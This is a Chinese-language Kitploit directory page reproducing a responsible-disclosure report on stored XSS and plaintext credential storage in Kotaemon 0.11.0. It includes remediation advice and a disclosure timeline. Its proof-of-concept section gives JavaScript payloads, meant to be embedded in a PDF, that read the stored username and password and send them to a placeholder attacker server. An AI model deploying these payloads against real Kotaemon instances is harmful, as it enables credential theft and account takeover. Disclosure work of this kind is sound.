Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Kotaemon-CVE-2025-56526-56527-disclosure — 针对 CVE-2025-56526 和 CVE-2025-56527 的公开披露——Kotaemon 0.11.0 中通过未净化的 PDF 内容渲染导致的存储型 XSS 以及明文凭据暴露。包含完整的技术分析、PoC、影响评估和负责任披露时间线。 | Kitploit
工具/GitHubGitHub/hantul/kotaemon-cve-2025-56526-56527-disclosure
钓鱼工具漏洞分析漏洞利用Web应用程序漏洞利用数据泄露Web安全论文与研究学习与教育
GitHub

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
hantul/kotaemon-cve-2025-56526-56527-disclosure

Kotaemon-CVE-2025-56526-56527-disclosure

针对 CVE-2025-56526 和 CVE-2025-56527 的公开披露——Kotaemon 0.11.0 中通过未净化的 PDF 内容渲染导致的存储型 XSS 以及明文凭据暴露。包含完整的技术分析、PoC、影响评估和负责任披露时间线。

查看仓库
149个月前尚未审核

Kotaemon CVE-2025-56526 与 CVE-2025-56527 公开披露

Kotaemon 信息面板中的存储型跨站脚本与 localStorage 中的明文凭据存储相结合,使得单个恶意 PDF 上传即可导致完全会话劫持。

执行摘要

  • 受影响产品/版本:Kotaemon <= 0.11.0(包括提交 37cdc28)
  • 漏洞:
    • CVE-2025-56526 – 通过未净化的 PDF 内容渲染导致的存储型 XSS
    • CVE-2025-56527 – localStorage 中存储明文用户名/密码
  • 所需权限:具有文档上传权限的认证用户
  • 影响:凭证窃取、持久化会话劫持、LLM 输出的 UI 篡改、用户信任的下游破坏

CVE 概述

CVE ID弱点CWE主要影响
CVE-2025-56526通过 PDF 衍生的 HTML 导致存储型 XSSCWE-79任意 JavaScript 执行、数据外泄
CVE-2025-56527明文凭据存储CWE-922凭证泄露、会话劫持

技术分析

1. 未净化的 PDF 内容渲染(存储型 XSS)

PDF 提取结果(文本、表格标记、图像元数据)未经转义直接注入 DOM。恶意 PDF 因此可以携带任意 HTML/JS,并在信息面板或推理视图渲染 retrieved_content 时执行。

受影响的代码路径包括:

  • libs/ktem/ktem/utils/render.py(Render.table、Render.image、Render.collapsible_with_header)
  • libs/ktem/ktem/index/file/ui.py(table / image 渲染)
  • libs/ktem/ktem/reasoning/simple.py 和 libs/ktem/ktem/reasoning/react.py
  • libs/kotaemon/kotaemon/indices/qa/format_context.py

2. localStorage 中的明文凭据存储

libs/ktem/ktem/pages/login.py 与 libs/ktem/ktem/assets/js/main.js 将原始凭据直接存储到 localStorage 并从中读取:

root@kitploit:~
setStorage('username', usn);
setStorage('password', pwd);
const username = getStorage('username', '');
const password = getStorage('password', '');

任何通过 XSS 向量执行的 JavaScript 都可以立即读取这些值,导致可靠的凭证窃取和长期有效的账户接管。

概念验证

  1. 将以下载荷嵌入到 PDF 中(例如,在图片 alt 属性或文本对象内):
root@kitploit:~
 {
  const u = localStorage.getItem('username');
  const p = localStorage.getItem('password');
  if (u && p) {
    new Image().src='https://[ATTACKER-SERVER]?d=' + btoa(`id=${u}&pw=${p}`);
  }
})();
">
  1. 上传 PDF 并在 Kotaemon 的信息面板中打开它。嵌入的脚本在应用程序源内执行并窃取凭据。
  2. 升级版载荷额外窃取浏览上下文以辅助瞄准目标:
root@kitploit:~
 {
  const payload = btoa(
    `id=${localStorage.getItem('username')}` +
    `&pw=${localStorage.getItem('password')}` +
    `&url=${location.href}&origin=${location.origin}` +
    `&ua=${navigator.userAgent}`
  );
  new Image().src='https://[ATTACKER-SERVER]?d=' + payload;
})();
">

影响

  • 存储型 XSS:每当恶意 PDF 被查看时,任意 JavaScript 都会执行。
  • 凭证窃取:任何注入的脚本都可以获取明文的 username/password 对。
  • 持久化会话劫持:攻击者可重用凭据冒充用户、访问项目或毒化 LLM 输出。
  • LLM 输出完整性丧失:用户不再能信任信息面板或推理结果,从而可能引发复杂的社会工程攻击链。

扩展威胁分析

Kotaemon 经常部署在本地或企业环境中,用户会上传敏感的内部文档。由于 PDF 衍生的内容在未进行净化的情况下被插入 DOM,攻击者可以将恶意载荷伪装在看似正常的业务文档中。

当受害者上传并查看该文档时,隐藏的 JavaScript 会自动执行,从 localStorage 窃取凭据并暴露私有的聊天记录和文档内容。

尽管触发动作看似由用户发起,但这并非自我 XSS。 根本原因是服务端未能净化从上传文件中提取的 HTML,从而在受信任的 UI 组件中实现存储型 XSS。

因此,在现实的社会工程场景中,单个恶意 PDF 即可导致完全账户沦陷。

建议

  1. 在渲染之前对所有 PDF 衍生的内容进行转义或净化(例如,使用 html.escape、DOMPurify 或针对 DOM 接收点的 Trusted Types)。
  2. 实施 Markdown/HTML 白名单管道,仅允许受批准的标签/属性到达浏览器。
  3. 禁止客户端存储原始凭据;改用 HTTP-only 安全 cookie 或短期会话令牌。
  4. 部署 CSP(script-src 'self')和 Trusted Types 以缩小 DOM XSS 攻击面。
  5. 为 PDF 摄入路径添加回归测试,并制定将检索内容视为不可信的 LLM 输出处理策略。

证据(screenshots/)

  • 恶意 PDF 在信息面板中渲染
  • 通过提取内容注入的 HTML 载荷
  • 开发者工具显示未净化的 DOM 节点
  • localStorage 中存储的明文凭据
  • 载荷发出的网络外泄请求
  • 攻击者服务器接收 base64 编码的凭据
  • 升级版载荷收集 URL/来源/UA 元数据
  • 结果中的攻击者控制的会话/UI

披露声明

本公开公告遵循行业标准的负责任的披露做法:

  • 已给予供应商超过 90 天的时间进行响应和修补。
  • 多次跟进尝试后,供应商未提供解决方案或修复计划。
  • CVE 标识符(CVE-2025-56526、CVE-2025-56527)已由 MITRE 正式分配。
  • 在公开披露前 30 天发送了最终通知。
  • 现进行公开披露以保护最终用户并减少暴露于未修补风险中。

用户建议

Kotaemon(<= 0.11.0)的用户在安全修复可用之前应考虑以下措施:

  • 关注官方仓库以获取即将发布的安全补丁。
  • 避免处理不受信任的文档。

披露时间线

  • 2025-07-14:向 Kotaemon 团队提交初始漏洞报告。
  • 2025-08-12:首次跟进;供应商承认工作繁忙并要求截止日期。
  • 2025-09-12:第二次跟进,附有详细报告和 PoC。
  • 2025-09-13:最终跟进;无进一步回复。
  • 2025-10-14:发送最终通知,表明公开披露意图。
  • 2025-11-14:公开披露 CVE-2025-56526 和 CVE-2025-56527。

致谢与联系方式

  • 本报告由 HanTul 编写。(曾隶属于 Team 404 Not Found 퇴근、WhiteHat School 3rd Cohort (WHS3),韩国)。
  • 联系方式:[email protected]
  • GitHub:@HanTul
下载工具